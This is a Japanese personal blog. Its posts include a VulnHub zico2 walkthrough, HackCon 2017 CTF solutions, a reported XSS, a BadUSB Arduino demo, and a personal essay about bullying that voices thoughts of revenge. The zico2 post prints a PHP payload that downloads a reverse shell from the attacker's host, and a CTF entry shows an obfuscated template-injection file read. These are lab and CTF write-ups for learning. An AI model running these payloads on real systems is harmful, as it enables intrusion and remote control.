#!

路上に就職!

zico2 writeup

vulnhubにあるzico2という問題を解いた。

www.vulnhub.com

まずはホストを探すためにarp-scan を使用した。

Interface: vboxnet0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.56.100  08:00:27:40:cd:ca   CADMUS COMPUTER SYSTEMS
192.168.56.101  08:00:27:98:69:ca   CADMUS COMPUTER SYSTEMS

512 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.857 seconds (137.86 hosts/sec). 2 responded

ipアドレスは192.168.56.101なのでブラウザでアクセスしてみる。 f:id:x6d61:20171009005059p:plain

脆弱性を探していると view.php?page=tools.html にディレクトリトラバーサルが存在することがわかった。 f:id:x6d61:20171009005425p:plain

php://filterでソースコードを取得することもできず、特に有用な情報を得られなかったので dirsearchを使い他のファイルがないか探すことにした。

Target: http://192.168.56.101/

[23:44:27] Starting:
[23:44:36] 403 -  286B  - /.hta
[23:44:36] 403 -  293B  - /.ht_wsr.txt
[23:44:36] 403 -  295B  - /.htaccess-dev
[23:44:36] 403 -  297B  - /.htaccess-local
[23:44:36] 403 -  297B  - /.htaccess-marco
[23:44:36] 403 -  295B  - /.htaccess.BAK
[23:44:36] 403 -  295B  - /.htaccess.old
[23:44:36] 403 -  296B  - /.htaccess.orig
[23:44:36] 403 -  296B  - /.htaccess.bak1
[23:44:36] 403 -  296B  - /.htaccess.save
[23:44:36] 403 -  298B  - /.htaccess.sample
[23:44:36] 403 -  295B  - /.htaccess.txt
[23:44:36] 403 -  295B  - /.htaccessOLD2
[23:44:36] 403 -  294B  - /.htaccessBAK
[23:44:36] 403 -  296B  - /.htaccess_orig
[23:44:36] 403 -  294B  - /.htaccessOLD
[23:44:36] 403 -  297B  - /.htaccess_extra
[23:44:36] 403 -  294B  - /.htaccess_sc
[23:44:36] 403 -  290B  - /.htgroup
[23:44:36] 403 -  292B  - /.htaccess~
[23:44:37] 403 -  292B  - /.htpasswds
[23:44:37] 403 -  295B  - /.htpasswd-old
[23:44:37] 403 -  290B  - /.htusers
[23:44:37] 403 -  296B  - /.htpasswd_test
[23:44:56] 200 -    1KB - /README.md
[23:45:37] 403 -  290B  - /cgi-bin/
[23:45:45] 301 -  314B  - /css  ->  http://192.168.56.101/css/
[23:45:47] 301 -  318B  - /dbadmin  ->  http://192.168.56.101/dbadmin/
[23:45:47] 200 -  917B  - /dbadmin/
[23:45:49] 403 -  286B  - /doc/
[23:45:49] 403 -  300B  - /doc/stable.version
[23:45:49] 403 -  301B  - /doc/en/changes.html
[23:45:59] 200 -    3KB - /gulpfile.js
[23:46:02] 301 -  314B  - /img  ->  http://192.168.56.101/img/
[23:46:04] 200 -    8KB - /index
[23:46:05] 200 -    8KB - /index.html
[23:46:08] 301 -  313B  - /js  ->  http://192.168.56.101/js/
[23:46:22] 200 -  789B  - /package.json
[23:46:22] 200 -  789B  - /package
[23:46:36] 403 -  295B  - /server-status
[23:46:36] 403 -  296B  - /server-status/
[23:46:48] 200 -    8KB - /tools
[23:46:52] 200 -    0B  - /view.php

Task Completed

dbadminというディレクトリがあるらしいのでアクセスすると test_db.phpというファイルがあった。 f:id:x6d61:20171009005842p:plain

アクセスするとphpLiteAdminという管理パネルらしい。バージョンは1.9.3 f:id:x6d61:20171009010027p:plain exploitがあるかGoogle先生で検索すると

www.youtube.com

上記の動画が引っかかった。動画と同じ手順で下記のコードを実行する。

<?php function dl($u,$o){$c = file_get_contents($u);file_put_contents($o,$c);}dl("http://192.168.56.1/php-reverse-shell.php",realpath(realpath(dirname(__FILE__)))."/back.php")?>

phpのreverse shellは下記のURLから拝借した。 http://pentestmonkey.net/tools/web-shells/php-reverse-shell

ビンゴ!

f:id:x6d61:20171009010454p:plain

shellを奪えた。

~$ uname -a
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

kernel exploitがないか探すとCVE-2013-2094が使えるらしい。 コンパイルして実行するとrootが取れた。

あとはflagを読むだけ

whoami
root
cd /root
ls
flag.txt
cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#

HackCon 2017 writeup

HackConにBK201で参加した。146ポイントで順位は102。

Noobcoder 50Pt

PHP初心者が作ったログインフォームがある。 f:id:x6d61:20170826185010p:plain SQLiなどもなさそうなので、初心者がやりそうなミスを探してみるとchecker.php~をダウンロードすることができた。

<html>
<head>
</head>
<body>
<?php
if ($_POST["username"] == $_POST["password"] && $_POST["password"] !== $_POST["username"])
    echo "congratulations the flag is d4rk{TODO}c0de";
else
    echo "nice try, but try again";
?>
</body>

暗黙の型変換で一致して、厳密な型の比較で一致しない値 100 と 1e2を送信してflag

f:id:x6d61:20170826190101p:plain

d4rk{l0l_g3dit_m4ster_roxx}c0de

Magic 50Pt

またログインフォームだけで脆弱性はない。 レスポンスを見てみるとSet-Cookieがかなりある。

curl -I http://139.59.13.232:6060
HTTP/1.1 200 OK
Host: 139.59.13.232:6060
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Set-Cookie: 0=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 1=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 2=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 3=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 4=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 5=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 6=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 7=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 8=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 9=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 10=%5B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 11=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 12=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 13=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 14=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 15=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 16=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
(skip)
Set-Cookie: 436=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 437=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 438=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Content-type: text/html; charset=UTF-8

連番のcookieを抜き出すsolveを書く

import requests
import urllib
import httplib
httplib._MAXHEADERS = 1000
cookie = []
url = "http://defcon.org.in:6060/"
r = requests.get(url)
list = r.headers['Set-Cookie'].split(';')
test = (list[0::3])
try:
    for i in test[1::]:
        split = i.split(',')
        cookie.append(split[1])
except:
    pass
r = []
for i in cookie:
    s = i.split('=')
    r.append(s[1])
print urllib.unquote(''.join(r))

繋げた値がBrainfuck っぽいのでBrainfuckを実行できるWebサービスに投げる f:id:x6d61:20170826235147p:plain

f:id:x6d61:20170826235315p:plain そしたらpassword が降ってくるのでアクセスしてflag

d4rk{c00k13s_4r3_fun}c0de

Rotate it 2Pt

rot13 やるだけ

d4rk{wh0_give$_ca3sar_in_CTF???}c0de

High Bass 3Pt

base64 するだけ

d4rk{that_$impl_3n0ugh4_U}c0de

File 3Pt

x86-64の実行ファイルを落として実行するだけ

d4rk{s1mpl_linux_execUt4ble}c0de

Needle P3

解凍して出て来たtext.txtからflagを探すだけ strings text.txt | ggrep d4rk

d4rk{n33dle_in_a_h4ystck}c0de

ALL CAPS 5Pt

換字式暗号

D4RK{TRY_FACCH3_IFTHIS_TOO_SIMPEL}C0DE

flag.txt 10Pt

f:id:x6d61:20170826201019p:plain アクセスするとRobotの記事のリンクが貼ってある。 robots.txtにアクセスすると 500786FBFB9CADC4834CD3783894239D ディレクトリがあることが わかる。

User-agent: *
Disallow: /500786FBFB9CADC4834CD3783894239D

500786FBFB9CADC4834CD3783894239D以下のflag.txtにアクセスしてflag

d4rk{r0b075_7x7_4r3_v3ry_c0mm0n}c0de

Welcome 5Pt

esya.iiitd.edu.in のソースを見るとflagが書いてある。

f:id:x6d61:20170826201721p:plain

d4rk{w3lc0m3_t0_35y4_2017}c0de

Keep talking 5Pt

HackCon 2017のSlackにアクセスするとflagがある。

d4rk{Pink_Floyd_1$_Awes0me}c0de

RSA-1 10Pt

他人のコード拝借して終了

d4rk{s1mpl3_rsa_n0t_th1s_34sy_next_time}c0de

競技が終了してから解いた問題

Stolen Calculator - PWN 100Pt

f:id:x6d61:20170827162302p:plain アクセスするとオンライン電卓(?)が操作できる。calc.jsが呼び出されてるので見てみると こんなコードがある。

                  for( var i=0  ; i < expr.length ; i++ )
                  if( charset.indexOf(expr[i]) < 0 )
                  {
                        alert("You can only use mathamatical expressions ")
                  }

                  urll = "http://defcon.org.in:10300/" + encodeURIComponent( strrr );
                  $.get( urll , function(res){
                      $("#data").html( res )  
                  })

http://defcon.org.in:10300 が怪しいのでアクセスしてみる。真っ白なページだったが /1+1とリクエストを送信すると2と表示され、文字列を送信するとerrが返ってくる。

f:id:x6d61:20170827162929p:plain

http://defcon.org.in:10300/{{1+1}} とリクエストを送信すると2と返って来たことから server side template injection の 脆弱性が存在することが 分かる。

f:id:x6d61:20170827163615p:plain

http://defcon.org.in:10300/{{process.cwd()}} と文字列を送信するとエラーが返ってくるため 数値または記号で難読化して送信しようと考えた。JsFuckはnodeJSにも対応してるらしいので

jscrew.it

上記のサイトで以下のコードを難読化して送信した。

process.binding('fs').internalModuleReadFile('/flag.txt')

そしたらflag

f:id:x6d61:20170827164158p:plain

d4rk{jaVaScriPtFuck}c0de

擬似ドメイン.onionの生成法

 

torで使用される擬似ドメインの.onionがどういう仕組みで決定されるのかわからなかったので調べた。

 

doc/HiddenServiceNames – Tor Bug Tracker & Wiki

 

こちらに全て書いてあった。

RSA-1024で公開鍵、秘密鍵を作成し公開鍵をDERでエンコードする。

公開鍵のハッシュ値sha1で取得する。ハッシュ値の前半部分(80bit)をbase32でエンコードする。

ということなのでプログラムを書いた。

 

This program creates an onion domain.

 

多分あってる。

おわり

 

呪い

なぜ私はこのようになってしまったのか。

多くは小さい頃から虐げられてきたことが原因だろう。ここで言わせてもらうが

決して両親から虐待を受けていたわけではない。両親には色々といい経験をさせてもらった。それ故に今を申し訳なく思う。

高校生ぐらいまでほとんどの子供は二つの世界しか知らないと思う。家族と学校(それに準じる環境)だ。私はどちらも健全でなければまともな人間は育たないと思っている。私は家族は皆優しく健全であったが学校環境が違った。小さい頃から友人とうまく行かず、その記憶は保育園の頃から存在してる。 保育園の頃よく仲間外れにされていた。彼らは私の何が面白くなくて仲間外れにしたのか未だにわからない。保育園で馬鹿にされていて女の子に守ってもらった記憶がある。そして、それは小学校に上がっても変わらなかった。父の都合で学校を転々としたがどの学校も私の扱いは同じだった。なぜか人に馬鹿にされる。教師にもだ。そこまで私は馬鹿にしやすい人間なのだろうか。どうして私には周りの人と同じように扱われないのだろうか。まだ子供で純粋だったのが幸いしたのだろう。そこまで汚染されることはなかった。中学に上がると人生を変える、今の私を形成するような出来事が起こる。それは中学2年生の時だ、ある日突然いじめが始まった。最初は数人だったがやがてクラス全体に広がった。いじめの内容は様々だった。物を取られたり体育でボールを当てられたり罵倒など当然のことながら私の扱いは底辺に落ちた。クラス替えでこのいじめは終結するのだが私の心に大きな爪痕を残した。中学校三年生になり受験に向けて準備していくのだがどうしても身が入らなかった。

なぜ自分はうまく行かないのだろう。そういった考えばかりが頭を支配した。そしてインターネットに逃げることになる。学校では寝て夜中に活動する。それでも何とか志望校に受かった。

志望校に受かったこととやっと中学校から解放されたことで安堵した。高校ではいじめはなかったが

クラスメイトと私の間に分厚い壁を感じることになった。なぜ他の人は楽しく遊んだり青春を謳歌しているのに私にはできないのか。私はずっと考えた。だが結論は出なかった。ただ確かなことは私はいてもいなくてもいい人間ということだけだ。そして私はどうして自分だけが褒美をもらえず対価(勉強、自分の嫌なこと)を払い続けなければいけないのかと思い学業をやめた。この時は両親に多大な迷惑をかけたと思う。

 私は今も中学生の時の夢を見る。いじめられる夢、いじめられるが仕返しし相手をぐちゃぐちゃにする夢、様々だ。現在でも悔いていることはわかる。どうして自分の手で仕返ししなかったのだろうか。仕返ししていたら少しは変わっていたかもしれない。そして若者数人とすれ違う時すごく自分が馬鹿にされているような感覚に襲われるのだ。その人たちは自分のことを何とも思ってないと思う。だが自分にとっては恐怖でしかない。また誰かが笑えば私が笑われているように感じる。外をで歩くだけで一苦労だ。ほとんどの時はどこでもない空間を見つめ何も考えないようにしている。私は今の私を形成する原因となった人たちに復讐する権利があるのではないだろうかと思っている。

 

私はつい最近壊れたのではないと思う。緩やかに壊れ続けてやっと今壊れたのだ。

この性格や呪いが今後治ることはないだろうし一生付き合っていくしかないのだろう。

 

単一換字式暗号をC#で解く

単一換字式暗号たんいつかえじしきあんごう、Simple substitution cipher)とは、換字式暗号の一種で、平文の文字に対して、暗号文の文字が常に同じ文字に変換されるような暗号のこと。(Wikipedia抜粋)

 

ということなのでC#で書いた。

 

C# Simple substitution cipher

 

もっとスマートにできる気がする。修行不足

 

おわり。

ツイキャスでxss発見した。

ツイキャスxss発見した。

 

http://twitcasting.tv/rankingindex.php のgenreパラメータに反射型xss脆弱性があった。

f:id:x6d61:20170323201349p:plain

ツイキャスに直接メールしたら返信が来てから二日ぐらいで修正された。

脆弱性公表も了承済み

 

終わり

arudino互換ボードでBadusbごっこ

BadUSBとはBlack Hat 2014 に発表された攻撃手法。USBメモリファームウェアを書き換えてHIDデバイスとして認識させ、キーの自動入力を行う。本家は特定のUSBフラッシュコントローラのみコードしか公開していない。また、手間がものすごくかかる…(基盤をショートさせたり) Hak5が販売しているUSB Rubber Duckyというハードウェアがあるが一つ40$くらいする。そして、値段はお手軽ではない。。。 そこでHID USB キーボードとして認識させることができるArduino互換のボードを使用して簡単に実験してみる。

今回、使用するのは amazonから購入した ATmega32U4 を搭載したボード。

ダイレクトUSB 超小型 ATmega32U4ボード Arduino Leonardo互換

早速、スケッチを描いてみる。

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  delay(3500);
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('R');
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print("notepad");
  delay(200);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  Keyboard.print("Hello world!!");
  Keyboard.end(); 
}

void loop() {
  // put your main code here, to run repeatedly:

}

上記のスケッチを簡単に説明すると、まずdelay()でUSBを挿してから3.5秒間待機しwindowsキーとRを同時に押す。 notepadと入力してenter、メモ帳が起動したらhello worldと入力する単純なものになっている。

f:id:x6d61:20170115004110p:plain

→を押してボードに書き込む。実際に書き込む時はシリアルポートが選択されているか確認した方がいい。(そのミスで何回も書き込みに失敗した。
今回はメモ帳に文字を入力するだけだったがmetasploitのpayloadやHak5の動画であったreverse shellなどを実行させても良いと思う。素晴らしいアイディアを考えた人はぜひ教えて欲しい。また、自分の所有していないUSBメモリをむやみに接続するのはやめよう!!